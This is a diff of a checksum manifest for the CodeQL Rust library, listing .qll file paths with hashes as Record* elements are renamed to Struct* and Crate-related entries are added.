-lib/codeql/rust/elements/RecordPat.qll 3e31af707f72e9af42142e54b7251da8cbc88a9d5f448a4e6b3ca578f92f5680 0b459d751c26a062608ef0b6f3859e9ed1342e129b004ec218694d011955cfbd
-lib/codeql/rust/elements/RecordPatField.qll 7487461887e82bcf224b02628dfc64457121ab17e731e2dc7aa7e731ab16c02f f2018e55722245eb4273fb067242aaa503c43f91671a55b3a4bb51fe7bc0a03c
-lib/codeql/rust/elements/RecordPatFieldList.qll c3198c997f389ce95db377ca40ac69a1448f120093f37ab1c92a5a3f1f6aa0d4 9db36d274f1ec77c442ae7e38f940a65c9a92f1541f66140188b226965851535
 lib/codeql/rust/elements/RefExpr.qll 91a0d3a86002289dc01ffbe8daca13e34e92e522fbb508241a9d51faf1d4a9d2 b6e63d8e6f8956d2501706d129a6f5f24b410ea6539839757c76ba950c410582
 lib/codeql/rust/elements/RefPat.qll fe076bdccb454111b38f360837d180274ba8a003b4cffe910b5197cd74188089 2604c8bb2b0b47091d5fc4aa276de46fe3561e346bd98f291c3783cef402ba06
 lib/codeql/rust/elements/RefTypeRepr.qll ac41d8b4132f273d65873ea3c59631bc1718b3266ae08075346e6cb1bfe2f17c b7e34851d37008806d4519105a5e3405dda07b999294c6656a0c447ac1635b2a
@@ -152,7 +145,15 @@ lib/codeql/rust/elements/SourceFile.qll 5916d550385d618bd3b3d4835fbd304048582222
 lib/codeql/rust/elements/Static.qll 439550ae01b4975dc08867ecdc1f8a4da0127321af9511857a006e6bdf6400b0 e83252e8bc06045322bd2cbadd5a2c7deb82b8a11ddbc9809d3e199056f57bee
 lib/codeql/rust/elements/Stmt.qll 532b12973037301246daf7d8c0177f734202f43d9261c7a4ca6f5080eea8ca64 b838643c4f2b4623d2c816cddad0e68ca3e11f2879ab7beaece46f489ec4b1f3
 lib/codeql/rust/elements/StmtList.qll 6f990782d5a5307d6d8a3256eb510aedfdaf7bd0e45f3dff35388842ab487b8c b412a27dea0c67307ab79104d45c5b4848c3191cc983e8b0d8dfa739a1b65d9c
-lib/codeql/rust/elements/Struct.qll 96b7020c7670d5ea7effa6e390d3a163dba05ca5206cfdd1284f4a41e5664c6a 3fea0d13b8da0f210f3ad9004189efc3c56bcc90e67d6ef7817c6767f6aff273
+lib/codeql/rust/elements/Struct.qll a8e1184724f3862b2a532638214d4c87592ab475295e01c3dfa0f3ee1e4b0be7 10da81c04c0e4f42463f7d393e575769799fcb5b0211f59569ea89f252be96a7
+lib/codeql/rust/elements/StructExpr.qll af9059c01a97755e94f1a8b60c66d9c7663ed0705b2845b086b8953f16019fab 2d33d86b035a15c1b31c3e07e0e74c4bbe57a71c5a55d60e720827814e73b7ba
+lib/codeql/rust/elements/StructExprField.qll 3eb9f17ecd1ad38679689eb4ecc169d3a0b5b7a3fc597ae5a957a7aea2f74e4f 8fcd26f266f203004899a60447ba16e7eae4e3a654fbec7f54e26857730ede93
+lib/codeql/rust/elements/StructExprFieldList.qll 6f77363f93ce4e55d91cc93cef4451b93b9714a4aec91c5416d488191340a079 4da6b070125150f2d28028e29095df93e0bbdb5bc4bd4c672e060492f36367c4
+lib/codeql/rust/elements/StructField.qll cd6ebb8927eb2614aa1241f03702b1db06e6c581acc368966c2809adb62a3cff 792a2040847a5e6ef3efcc33eeffa9df0bf720a5c39204ac5533bf85b2f9e9bd
+lib/codeql/rust/elements/StructFieldList.qll 384a8dab7b1bb70151bfc8cb378ebffbea8e5112f92cf26f1c6f2fd0eb9d2e35 6ee3cc6952a134f6f4d6988700f45eb51d23d19f3c08d63a868d9ad8e54be12a
+lib/codeql/rust/elements/StructPat.qll cdd1e8417d1c8cb3d14356390d71eb2916a295d95f240f48d4c2fb21bf4398cb 69c3456a13ef3e978a9a145b9e232198a30360f771feb41a917e507410611f6c
+lib/codeql/rust/elements/StructPatField.qll 856aa7d7c6d9b3c17514cbd12a36164e6e9d5923245770d0af3afb759a15204a 1bd1a294d84ad5e4da24e03b4882b215c50473875014859dbf26555d1f4ec2d5
+lib/codeql/rust/elements/StructPatFieldList.qll e32d5adc36dc9800454920c784098680b22d3c1c31754bbb65db1a226105b3b0 0ecfd969411a56ebf04f6a4950219b9128b66151c115fcd734d89687f3f5e524
 lib/codeql/rust/elements/Token.qll e2de97c32e12c7ac9369f8dccabc22d89bfcbf7f6acd99f1aa7faa38eb4ac2b2 888d7e1743e802790e78bae694fedb4aba361b600fb9d9ecf022436f2138e13c
 lib/codeql/rust/elements/TokenTree.qll 68e579812960d855a8a7a370ce55566a0df5adc62b7e6ba19d775fff961ea67b af2520f272e937c898c51693c1157a61caac9c25826918981803b12b5a9cb246
 lib/codeql/rust/elements/Trait.qll f78a917c2f2e5a0dfcd7c36e95ad67b1fa218484ee509610db8ca38453bebd4c 2a12f03870ebf86e104bdc3b61aae8512bfafbbf79a0cff5c3c27a04635926af
@@ -164,7 +165,7 @@ lib/codeql/rust/elements/TupleFieldList.qll 73397eef1cf8c18286b8f5bb12fbdc9bb75e
 lib/codeql/rust/elements/TuplePat.qll 028cdea43868b0fdd2fc4c31ff25b6bbb40813e8aaccf72186051a280db7632e 38c56187971671e6a9dd0c6ccccb2ee4470aa82852110c6b89884496eb4abc64
 lib/codeql/rust/elements/TupleStructPat.qll da398a23eb616bf7dd586b2a87f4ab00f28623418f081cd7b1cc3de497ef1819 6573bf3f8501c30af3aeb23d96db9f5bea7ab73e2b7ef3473095c03e96c20a5c
 lib/codeql/rust/elements/TupleTypeRepr.qll 819b600abfb2d6110e3f9c09a3901c875530acf372c65e3d9071aed8ab302cbb 508e8e527248b42ba3f20d3ff5163c348c9d338b12ff7d244246fc711e9d240c
-lib/codeql/rust/elements/TypeAlias.qll 2974953465e096fee61c70199a5672174254494786bc762c32c84df97422f08b 55e634e3dfa6ea3980ab37a524ea60c6adc207114a313c0c2a3632f7b5583dab
+lib/codeql/rust/elements/TypeAlias.qll 7c06232b50df4b6d9066e18a7286f6f0986df6b3994838923c3b2cd0898bb937 d4e61091e396b6cbbfbc9731a58154d81ef986ccf0f306e64962661c468b2889
 lib/codeql/rust/elements/TypeArg.qll 88b5d150dbb207079bf40019b60eb6f5389247aa3040474729019d2be48e92a6 6a507290152be04b1d2c4e2c04214cfc87c583ed0611bd75655aff59eb8ce952
 lib/codeql/rust/elements/TypeBound.qll d4a699afb08c2b8fd3d0b08cd8c48971439ff5511758881ce50f0f4a9839d84a 3c439f1a92d29ae66e643d1e75500a951d30e70cc54a5729bf0c2e13a97330a4
 lib/codeql/rust/elements/TypeBoundList.qll a0b95aa95485a0e23b9198ca492ea3fa075fb0dc9fb40ba997aff35d70c51d3b 51de36a56cd2921758260c62cebeb96e703d10b226ca505c874ae54c5a981348
@@ -173,13 +174,14 @@ lib/codeql/rust/elements/TypeRepr.qll ea41b05ef0aaac71da460f9a6a8331cf98166f2c38
 lib/codeql/rust/elements/UnderscoreExpr.qll 233661b82b87c8cda16d8f2e17965658c3dc6b69efb23cb8eb9c4f50c68521e0 8edff8e80aac2ecf83a6b58f310cab688cbaeea0a0e68a298b644e565960cc74
 lib/codeql/rust/elements/Unextracted.qll 12e60c79ef5b94d72b579b19970622e7b73822ebc13fbcfedfe953527ab1ac36 ec015db2eb12c3c82693ddc71d32d9ab9ef7a958e741e2510681bb707ceca23e
 lib/codeql/rust/elements/Unimplemented.qll bf624d28163e5c99accda16c0c99f938bec4a3b1b920a463e86fc8529ff5ff02 013bc7777298d250338f835cd494b5a8accea2d6a4f9561851f283ac129a446b
-lib/codeql/rust/elements/Union.qll 92ffb1abc03889b9b71dae9491d4595e443c80b472474644f4e2d80215d4420a 8ad87a33f56583c3ebd19083d8e177da91dcc4dacd5e9140a48f01750c6b1cdb
+lib/codeql/rust/elements/Union.qll 9539358aa47fbe99c0e63d154bf899427bb6d935f3acd00600c11c6396b18565 520612bafb6912001138562a19a691f8b9ca377d5c4bf7aedf49f1b0938eb955
 lib/codeql/rust/elements/Use.qll e27d30ece0456a73732dfd867dfc5abdf48a50de56e7dafcab444b688610af72 7efe59c04dd2f10b4a25b8a17beb51362be0a93d73e5a9e1251cf133cf1227c3
 lib/codeql/rust/elements/UseBoundGenericArg.qll f16903f8fff676d3700eaad5490804624391141472ecc3166ccb1f70c794c120 5efda98088d096b42f53ceccae78c05f15c6953525b514d849681cb2cf65b147
 lib/codeql/rust/elements/UseBoundGenericArgs.qll 6d3b8bf8e59ef6d10d2f58c6d2eca61b113a524174f62d1f56b724c4179fda04 8fad6ed9e5bf159a2db01e7eb960cc55b940f7b92c4bb5c967120068e4fec80a
 lib/codeql/rust/elements/UseTree.qll 69d96e5985ecdedc421d3d5da16b738ccdbb28ea01ca4d510b98f2a3409b28e5 0188c2744e89e19aa077c802e89faa87d62ca306adb71be8c3b23617f69a5982
 lib/codeql/rust/elements/UseTreeList.qll 768c4ec25e8807bba65619f566b22fa5c0946c36e96c88cfdee04c2875b44554 6433c8d9acd4e346cadd5fef01d79dd35bb6245115bdceb5322c0511106030b0
-lib/codeql/rust/elements/Variant.qll 328323ef59faf01dcf71e7d728fd10a60465a1bd24e1d3578289cdf6554e5b63 ba49c635790395d9df4398c3c0fec700c3c7761fcc6581623a45d381d23ac34d
+lib/codeql/rust/elements/Variant.qll 8c8b419376d93f12a53d83cbdec04b0f9e3b0224774629c748fe32469589fa3e 438a12e8bf67d88df0e7740287f15431bc012362a6d6f370e088a3b60910ff0a
+lib/codeql/rust/elements/VariantDef.qll fb14bf049aba1fc0b62d156e69b7965b6526d12c9150793f1d38b0f8fb8a0a8f 71453a80a3c60288242c5d86ab81ef4d027a3bc870ceffa62160864d32a7d7ad
 lib/codeql/rust/elements/VariantList.qll 07adfe5750b2d5b50c8629f36feba24edd84f75698a80339d4cee20f4e95829d 7d322e60c84ea45f8c8b509226da7ae3c0125bcda42a98a94e3e6a9855cab79e
 lib/codeql/rust/elements/Visibility.qll d2cf0727efaf8df6b3808cb4a6b2e26d18e42db766d92e97ad3ef046d91cb9e5 8947a1e2d48b532c6455ddf143fa5b1dff28c40da1f1c6a72769fc9db7ecbaf6
 lib/codeql/rust/elements/WhereClause.qll da51212766700e40713fff968078a0172a4f73eebc5425d8e0d60b03c2fe59fa 0ec036aea729b8f4af0eb8118911dce715e2eb4640ae7b5e40a007a48da03899
@@ -254,6 +256,7 @@ lib/codeql/rust/elements/internal/ConstImpl.qll 7aac2b441a41f21b7d788e3eb042554f
 lib/codeql/rust/elements/internal/ConstParamConstructor.qll f6645f952aac87c7e00e5e9661275312a1df47172088b4de6b5a253d5c4ed048 eda737470a7b89cf6a02715c9147d074041d6d00fd50d5b2d70266add6e4b571
 lib/codeql/rust/elements/internal/ConstParamImpl.qll 909d85d857dfb973cd8e148744d3a88506d113d193d35ab0243be745d004ad45 c9e18170c5b4e4d5fca9f175bb139a248055b608ceafdd90c7182d06d67c3cba
 lib/codeql/rust/elements/internal/ContinueExprConstructor.qll cd93f1b35ccdb031d7e8deba92f6a76187f6009c454f3ea07e89ba459de57ca6 6f658e7d580c4c9068b01d6dd6f72888b8800860668a6653f8c3b27dc9996935
+lib/codeql/rust/elements/internal/CrateConstructor.qll 2a3710ed6ff4ffdbc773ac16e2cf176415be8908e1d59fd0702bdeddbae096f4 f75a069b0ef71e54089001eb3a34b8a9e4ce8e4f65ffa71b669b38cf86e0af40
 lib/codeql/rust/elements/internal/DynTraitTypeReprConstructor.qll 6964e6c80fb7f5e283c1d15562cef18ed097452b7fcbc04eff780c7646675c7a f03c4830bf1b958fdfb6563136fa21c911b2e41ce1d1caee14ec572c7232866d
 lib/codeql/rust/elements/internal/DynTraitTypeReprImpl.qll fa2dc41b441c2e8d663644ca8ae53f473ac54b3c977490b5173787cffe4a62b1 118945a547627b639574c5f8e58bf7dbf5f3882c6d74ebf363c28c8fb88799d3
 lib/codeql/rust/elements/internal/EnumConstructor.qll eca1a13937faacb1db50e4cf69d175f992f2204a5aaed9144bb6f3cb63814ac5 1bafba78b2729fdb052a25a1ba3f4f70871564aa4df632b4a1d467858a437924
@@ -270,7 +273,7 @@ lib/codeql/rust/elements/internal/ExternItemListImpl.qll e89d0cf938f6e137ba1ce79
 lib/codeql/rust/elements/internal/ExtractorStep.qll 1c65668007ea71d05333e44132eccc01dc2a2b4908fb37d0a73995119d3ed5f0 8cbe1eeb35bc2bc95c1b7765070d1ff58aae03fd28dc94896b091858eea40efe
 lib/codeql/rust/elements/internal/ExtractorStepConstructor.qll 00c527a3139ad399ea1efd0ebe4656372d70f6c4e79136bc497a6cb84becae8e 93817f3dddeaf2c0964ab31c2df451dcee0aeba7cb6520803d8ce42cefcb3703
 lib/codeql/rust/elements/internal/FieldExprConstructor.qll b3be2c4ccaf2c8a1283f3d5349d7f4f49f87b35e310ef33491023c5ab6f3abc5 645d0d4073b032f6b7284fc36a10a6ec85596fb95c68f30c09504f2c5a6f789f
-lib/codeql/rust/elements/internal/FieldListImpl.qll 02a09d1d146030c68cead4614f4eef75854f19e55ed1eda60b34c4858a8d4a88 9b9f5e77546434c771d2f785119577ec46569a18473daa4169fb84a097369493
+lib/codeql/rust/elements/internal/FieldListImpl.qll 8dd0eb184826656f5123ac7b64c35a5e9d121b7b6288b0cc823076180f370979 73406e8057a1a1882b1c44bd272c65d4c7e2dee598382c7f2e074b847f4b7944
 lib/codeql/rust/elements/internal/FnPtrTypeReprConstructor.qll 61d8808ea027a6e04d5304c880974332a0195451f6b4474f84b3695ec907d865 0916c63a02b01a839fe23ec8b189d37dc1b8bc4e1ba753cbf6d6f5067a46965a
 lib/codeql/rust/elements/internal/FnPtrTypeReprImpl.qll 23b1309f267b640efe9458429feea986fc66a15ce1496883c292d8700637bbc3 b8785911a504d6d48be3e9dd1a150cb2611bd70ac420433e1f78ce1310c284f1
 lib/codeql/rust/elements/internal/ForExprConstructor.qll d79b88dac19256300b758ba0f37ce3f07e9f848d6ae0c1fdb87bd348e760aa3e 62123b11858293429aa609ea77d2f45cb8c8eebae80a1d81da6f3ad7d1dbc19b
@@ -284,7 +287,6 @@ lib/codeql/rust/elements/internal/GenericArgImpl.qll 6b1b804c357425c223f926e560a
 lib/codeql/rust/elements/internal/GenericArgListConstructor.qll 46859bb3eb09d77987a18642d65ba2e13471a4dc9c0a83a192fddc82e37c335c 2c7d54c876269a88d3461b05745e73b06532b1616cae9b614ac94b28735d8fc4
 lib/codeql/rust/elements/internal/GenericParamImpl.qll f435f80d7f275803c1311d362467f4a367deb5a2c0245b17a9e12468a2c3ce2f 8e8fcc29f510efa03ce194ad3a1e2ae3fbd7f8e04ab5a4a2d1db03e95f388446
 lib/codeql/rust/elements/internal/GenericParamListConstructor.qll 7221146d1724e0add3a8e70e0e46670142589eb7143425e1871ac4358a8c8bdb 2fbb7576444d6b2da6164245e2660d592d276ae2c1ca9f2bda5656b1c5c0a73a
-lib/codeql/rust/elements/internal/GenericParamListImpl.qll 524aa0949df6d4d2cb9bee6226650f63a6f181d7644933fa265673b281074885 27b0210e5eaa2040bc8a093e35e1394befb6994b25369544738d0447ef269a9c
 lib/codeql/rust/elements/internal/IdentPatConstructor.qll 09792f5a070996b65f095dc6b1b9e0fb096a56648eed26c0643c59f82377cab0 0bb1a9fcdc62b5197aef3dd6e0ea4d679dde10d5be54b57b5209727ba66e078b
 lib/codeql/rust/elements/internal/IfExprConstructor.qll 03088b54c8fa623f93a5b5a7eb896f680e8b0e9025488157a02c48aaebc6ad56 906f916c3690d0721a31dd31b302dcdcec4233bb507683007d82cf10793a648f
 lib/codeql/rust/elements/internal/ImplConstructor.qll 24edccca59f70d812d1458b412a45310ddc096d095332f6e3258903c54c1bb44 7eb673b3ab33a0873ee5ce189105425066b376821cce0fc9eb8ace22995f0bc7
@@ -337,6 +339,9 @@ lib/codeql/rust/elements/internal/MissingImpl.qll e81caa383797dfe837cf101fb78d23
 lib/codeql/rust/elements/internal/ModuleConstructor.qll 31cc83c9d8f25ac07375d19e568f05c068e1f5aa205ff3d9ac31c2510e6f8468 8a70f3f1c18ff87f17e6baf2f05ccaed55c70469288192fc39ef0bb5531b8c0e
 lib/codeql/rust/elements/internal/NameConstructor.qll a760134c6d4fc785746e1a5dc042a6bf25b8adaa3947a6897c31e50fd91dd5fd 1359f903d57112bcc1f62a609febb288301bfa810e569aa12e1045fd48b5b5c9
 lib/codeql/rust/elements/internal/NameRefConstructor.qll 5ff6eacc614fd41f98b54cbb4960a07a1471cf4ea291758d33e54a48fd5d1bc4 c538d65414a24dfdbeb49cfd997588227559ba038f0b55d14bb5d89ed1a016f2
+lib/codeql/rust/elements/internal/NamedCrate.qll 6c697076387b5af00422e227540d100ff7c03d3001f6a4c5b61433191d022490 2276f85411db199598fc6a5d8d6ec5762e42b1b45c98e398eeb75e69c697b57f
+lib/codeql/rust/elements/internal/NamedCrateConstructor.qll 72e07ece16f787dfd993982848689dc2e11845aa5634e9ee5ad8865b95cb59dc ea6555ae33cabe408935649b5e8c6218158036a3b7c4e1abc8bd7cd51c05a912
+lib/codeql/rust/elements/internal/NamedCrateImpl.qll ba1f775ca6177a5bdb2ef1891a3fd505642e2fec63910f958f380039499f45bf f66b503b3574d3be75b79870b754015740f58195c4924b71c21ba4e673efd8c4
 lib/codeql/rust/elements/internal/NeverTypeReprConstructor.qll 2e0a9c75e389e9ef41a18dd9b5d6c29ffe1d1d633e51ef1de90ec553236d201a 61ea87802fd1c3a68e864ccd76657253a228b06471e4c55bcf94ca2be554f866
 lib/codeql/rust/elements/internal/OffsetOfExprConstructor.qll 616e146562adb3ac0fba4d6f55dd6ce60518ed377c0856f1f09ba49593e7bfab 80518ce90fc6d08011d6f5fc2a543958067739e1b0a6a5f2ed90fc9b1db078f0
 lib/codeql/rust/elements/internal/OffsetOfExprImpl.qll e52d4596068cc54719438121f7d5afcaab04e0c70168ac5e4df1a3a0969817a6 6ab37e659d79e02fb2685d6802ae124157bf14b6f790b31688f437c87f40f52c
@@ -362,17 +367,6 @@ lib/codeql/rust/elements/internal/PtrTypeReprImpl.qll 82bb14c7c5764aa6c829d463ed
 lib/codeql/rust/elements/internal/RangeExprConstructor.qll a0aa90a1c38c5deea56475399016afae2a00a858b961fbbab8ddeb3bc6a08103 0ddf1bcf28aafc56d7334e6138fb268f9b36a429e4cbdd982cd8384e0644076b
 lib/codeql/rust/elements/internal/RangePatConstructor.qll fe4345cb41d970ab64196ca37eccb26e5b9cf85fab4253cacfd2b31de03bd070 1d09d5ec8203d76aed2dfb7e7f14c0c07d6559c8f589e11860fff8a2c682c1a6
 lib/codeql/rust/elements/internal/RangePatImpl.qll ef11ab2c002896036553231741a7cf896fafa09e22e920e15661b9cbe4393cae 24ac2dcce3055a77f3a5e0b38cf13aebefd2eeaefa53674ff144a6225634ac0d
-lib/codeql/rust/elements/internal/RecordExprConstructor.qll 742198bd8223902b5625b4a574a9e3539a8b6cf8e48eecc57cc2de4e980fba6e 0a99e454e234e8b7b59dc11b167172a5fcd31b8a5282349956d6fd861ec735df
-lib/codeql/rust/elements/internal/RecordExprFieldConstructor.qll 11620bc4e2dc7b3903be764cd9510a8e002892722b502876cf3467994aa7a63c e42e50747dd9453a44705b2d6a05e7a4a8c6debed988a0335a774a547d8f7157
-lib/codeql/rust/elements/internal/RecordExprFieldListConstructor.qll 3a0d6ec872792c400d3a0a5ed1c5051b248a597a4b17ada1a078ea5d972b6721 52bae8222e7aa5bc89b73bec3fd1c3c1de0fe11bf30ccf5668454f63fbfc9b83
-lib/codeql/rust/elements/internal/RecordExprFieldListImpl.qll 1210c23c0495f5d1a72409afc8c559f8da2b8c71340ff2944af9d1f684d0a856 fea96b053cad4135ab09b1c070a4c9f26507dd890a62c30772cf3e2358686640
-lib/codeql/rust/elements/internal/RecordFieldConstructor.qll 9fc05f5101e48a45a028c479b35ec3d2f1a3cc33f0938667fcb813c5a4ab9526 98791dcf7f3209524f6132f9c26980e499cbcf94c1559e95c67544732245f05b
-lib/codeql/rust/elements/internal/RecordFieldListConstructor.qll 9f1d916f3784092dcbff7224451c8f4f0daf6f8293a466b0a30ec9b92cd41358 8aafe377714a134287362c4b96439c1c6baa5a31c2c36a544bd5f73e9213477a
-lib/codeql/rust/elements/internal/RecordFieldListImpl.qll 1fa89578a1e27a7d6dd84c1cabbff08b38a3160ea0864c7be660984cf96fda1e 9fa6a775f0609f557548168424f02d068abb3978ba20a716c21619e904bd99f3
-lib/codeql/rust/elements/internal/RecordPatConstructor.qll a5507e0db7cb297c74faa9d571e613799d7b3327584e4696d1d5c219d1ea84ba aa5c8042a88e99dca09a6ea7775bd6963825a3c2dd5d61f118dbbc57a336c4a1
-lib/codeql/rust/elements/internal/RecordPatFieldConstructor.qll 6e1880ed05401b39c1e5e1a4eedb0a8a18c857aeb79c44c812cdc879eb3af1f4 1f7a5a2d4df22f7d7479fe348665d8a1411de47f8cc5b95b30ba4c3490ed8f61
-lib/codeql/rust/elements/internal/RecordPatFieldListConstructor.qll b8f0ef9b75ffe6be6ce7e601d528f0a1b871123c63e39cead3fd13b8bd4f54b7 166f07c708ab8b3de6bfaf193bac93081b2aacad046aa86de7441085dd20a8c5
-lib/codeql/rust/elements/internal/RecordPatFieldListImpl.qll 2d1dd9910480eb65c59fcef2e1576ce639be85c35d90e4bce721ce22ec742ba3 1e788a2d7d00e9f96dbf7e93d3a18d5bfb4d7749194ff8e9810e9053fa88a94b
 lib/codeql/rust/elements/internal/RefExprConstructor.qll 9ad08c0f3d980a56a2af8857cb84db589941d20ab3ae5c8ece004ccaccaaf950 4cac3ace31b7ed77a72e989fce9cdbae2247f03c28a3f0c50d67385d02c7f193
 lib/codeql/rust/elements/internal/RefPatConstructor.qll d8b88c2c468b08072f6f853306eb61eb88ee1e6c5cfb63958f115a64a9715bb3 0c1d6a8af6a66912698acce47e89d4e3239e67f89c228a36a141f9c685c36394
 lib/codeql/rust/elements/internal/RefTypeReprConstructor.qll 8e7012b456ebf1cc7a2c50892c0fffd51f0d5d83e417e1d4cabd4d409e3dddc0 4f3c6368bcea5e8c3f0b83591336f01331dc6dabf9c1e8b67de0fc4d640f65f0
@@ -399,6 +393,17 @@ lib/codeql/rust/elements/internal/StmtImpl.qll ea99d261f32592ff368cc3a1960864989
 lib/codeql/rust/elements/internal/StmtListConstructor.qll 435d59019e17a6279110a23d3d5dfbc1d1e16fc358a93a1d688484d22a754866 23fcb60a5cbb66174e459bc10bd7c28ed532fd1ab46f10b9f0c8a6291d3e343f
 lib/codeql/rust/elements/internal/StmtListImpl.qll fc16097d08124bcc39c998b07023710e0152baed165fb134cac2ee27e22a9f7a a4eceb42720593d8d0ce031016465de0bb61d40f31b2cc2718626ef8348ac900
 lib/codeql/rust/elements/internal/StructConstructor.qll 52921ea6e70421fd08884dc061d0c2dfbbb8dd83d98f1f3c70572cfe57b2a173 dcb3ea8e45ee875525c645fe5d08e6db9013b86bd351c77df4590d0c1439ab9f
+lib/codeql/rust/elements/internal/StructExprConstructor.qll 69761fa65a4bedf2893fdfc49753fd1289d9eb64cf405227458161b95fa550cb 72ed5f32dcf6a462d9d3cadfc57395a40ee6f4e294a88dbda78761b4a0759ece
+lib/codeql/rust/elements/internal/StructExprFieldConstructor.qll 6766d7941963904b3a704e64381a478d410c2ef88e8facbc82efca4e781dac96 a14ce465f0f4e43dea5c21c269d803b0ad452d2eb03f4342ea7a9f5d0b357d60
+lib/codeql/rust/elements/internal/StructExprFieldListConstructor.qll fda308db380c608d5df1dc48b30bccb32bce31eabff807d0e623b812000a2a2c 84fb7cb24bf61aec602956f867c722d10907b3edfd4dd6946f1349cf6240b4f1
+lib/codeql/rust/elements/internal/StructExprFieldListImpl.qll 73aa0a61c2fe5c3cb345b98c1d0bc60474734068ff405061c87406f252ef29ba 66c75d1a449dd9c11db36492f24de13baa98f99d41284ef69298e7b9beb470dc
+lib/codeql/rust/elements/internal/StructFieldConstructor.qll 07c7ca8cd5666a0d022573e8d4f9a2e8b237c629c729b9563d783f5e34f232ce 82de0f502272ebdc4f3b15aa314611dd20e82f78ad629e79b5459fdcacf44f9e
+lib/codeql/rust/elements/internal/StructFieldListConstructor.qll c4ed03a31f08e63f77411e443635ae20caa82c0b4ce27a8ca0011ddf85602874 9f6c12949ea06f932c141fed8e6f7d2d93e0d3305dfc60db163feb34ada90917
+lib/codeql/rust/elements/internal/StructFieldListImpl.qll 93c2b214e315c2fe6a85235fb05c0bfdcd06a03a2246adf551d8c015d28ab9f2 2f80b04deb63785e5766cf78989bb37d69cc9a0372cce737bd544962fc40bb18
+lib/codeql/rust/elements/internal/StructPatConstructor.qll 4289608942b7ca73d5a7760232ef23cd9a1baf63cc1d0dc64e7dfea146194fe4 189aec3a5c376addd75b17a79729837fb4185de4abf45008df3956a2d9cdadb8
+lib/codeql/rust/elements/internal/StructPatFieldConstructor.qll 780294d2bbad2062a7c66a0dca370e12551d94dd97540936864cf26cbafd7d0e aa9c717f3ec13927be9c598af06ae0b785fb6645a409acf4eaedf07b0b765079
+lib/codeql/rust/elements/internal/StructPatFieldListConstructor.qll f67090a3738f2dc89874325c1ec2d4b4d975a5fdef505f0008a016f33868bebb 1c10b9ae42ed78758f59902c44c3eeebb0bd862c04783f83aa4db5653f12bf0e
+lib/codeql/rust/elements/internal/StructPatFieldListImpl.qll 6f7b9e72ffc874852d76e0a7859d19ea2a96dc2925e961f1eb772328b03b399e 9bb9380a1c447a8509b1ccf9be19ee25561eb9c5e0d627f5f4b76b1b2706ba18
 lib/codeql/rust/elements/internal/TokenImpl.qll 87629ffee74cacc6e8af5e96e18e62fb0fa4043d3ba1e7360daa880e628f8530 d54e213e39ae2b9bb92ab377dc72d72ba5bca88b72d29032507cdcbef201a215
 lib/codeql/rust/elements/internal/TokenTreeConstructor.qll 0be1f838b04ff944560aa477cbe4ab1ad0b3f4ae982de84773faac5902fcae45 254b387adc2e1e3c355651ab958785d0b8babbc0030194234698a1219e9497b3
 lib/codeql/rust/elements/internal/TokenTreeImpl.qll c61574f2b551db24640258117e0c8653196ba91392ce81da71a3a528ee07b1ad 489a1c8f550725e28871ae99c41d03b719c3099b8f73ae7422f497430f616267
@@ -418,7 +423,6 @@ lib/codeql/rust/elements/internal/TupleStructPatConstructor.qll 9d68f67a17a5cec0
 lib/codeql/rust/elements/internal/TupleTypeReprConstructor.qll 80c31c25fd27e330690fb500d757a4bbd33f226186d88ea73bfe4cf29a7db508 d572a72fa361990a3d0a3f9b81d1e966e2ba1ac0a60314ec824c1b8b2814c857
 lib/codeql/rust/elements/internal/TupleTypeReprImpl.qll 149719039d66f0cfb620e18d7af7e0995c5125a91f3883ad979e9ad480136d6e 310ef7e9e1e42853aa6a2c7bd9b8155773ff2b091d853059c7e04c8d5e30d723
 lib/codeql/rust/elements/internal/TypeAliasConstructor.qll 048caa79eb7d400971e3e6d7e580867cbee4bd6b9d291aafac423aa96c321e76 d1d1e33a789ae6fa1a96af4d23d6376b9d82e14e3cbb777963e2d2cb8b22f66d
-lib/codeql/rust/elements/internal/TypeAliasImpl.qll 43af0e8e3df8bca5b4bd48ad870cb619283710ec5b86085d85874a67cac3cb6e 75f1f8ba2bd722d55a84178cf338d34f7c57a156f8cc014bd2b29ee4da5ea9e2
 lib/codeql/rust/elements/internal/TypeArgConstructor.qll 51d621e170fdf5f91497f8cc8c1764ce8a59fde5a2b9ecfad17ce826a96c56c4 a5bbb329bde456a40ffa84a325a4be1271dbde842c1573d1beb7056c8fb0f681
 lib/codeql/rust/elements/internal/TypeArgImpl.qll c2b4aa45fb33c0e19e79584ec4245f9f1c19b4ec49ba7e7b03ea04a8a2be8c11 6b0be233709d67e1928bb519dd4492a7278d075289cae76a856182d56691f018
 lib/codeql/rust/elements/internal/TypeBoundConstructor.qll ba99616e65cf2811187016ff23e5b0005cfd0f1123622e908ff8b560aaa5847f fde78432b55b31cf68a3acb7093256217df37539f942c4441d1b1e7bf9271d89
@@ -436,12 +440,11 @@ lib/codeql/rust/elements/internal/UseBoundGenericArgImpl.qll 2f90bfd5e43113da115
 lib/codeql/rust/elements/internal/UseBoundGenericArgsConstructor.qll 84d4a959d098fcd1713cb169e15b4945d846121701d2c5709b11e19202c21f2b 93113c92be9bc9f0b8530c308fe482dfeddc7dc827fc44049cecb3eab28df731
 lib/codeql/rust/elements/internal/UseBoundGenericArgsImpl.qll 43caeeb43b4b9480bd586f58124ef3b14980ba61c47326799ca7cb98dd3b7394 71936dd5dd0428ab24c697232770bc7309c22e5de6a17db23443b78f245078a4
 lib/codeql/rust/elements/internal/UseConstructor.qll a4f790795e18abc29a50d6fbaa0db64cba781e3259a42cbf0468c24ac66b63e7 2fa288f073ac094a838c11f091def2c790b347b6a1b79407c11b10c73d6bff57
-lib/codeql/rust/elements/internal/UseImpl.qll ba779517c3c928ab6e794360b6344829e84ec6da5e1de1b03b4eaf8bdae58ce9 0f4ead9eecb584eb9827502276ffe8cb1da0d2fa4b8f660d2afc26ac4e0fba86
 lib/codeql/rust/elements/internal/UseTreeConstructor.qll 3e6e834100fcc7249f8a20f8bd9debe09b705fcf5a0e655537e71ac1c6f7956b cdbc84b8f1b009be1e4a7aaba7f5237823cea62c86b38f1794aad97e3dfcf64b
-lib/codeql/rust/elements/internal/UseTreeImpl.qll d478495a62e466fa4f443ffcf0d5235a7278fa9e8565267e73bb78210b7d54a1 76b71392b12f1bd7e66dd9e2902f48a1c27dce01fadad3a23e5a680d64fa0d49
 lib/codeql/rust/elements/internal/UseTreeListConstructor.qll 973577da5d7b58eb245f108bd1ae2fecc5645f2795421dedf7687b067a233003 f41e5e3ffcb2a387e5c37f56c0b271e8dc20428b6ff4c63e1ee42fcfa4e67d0a
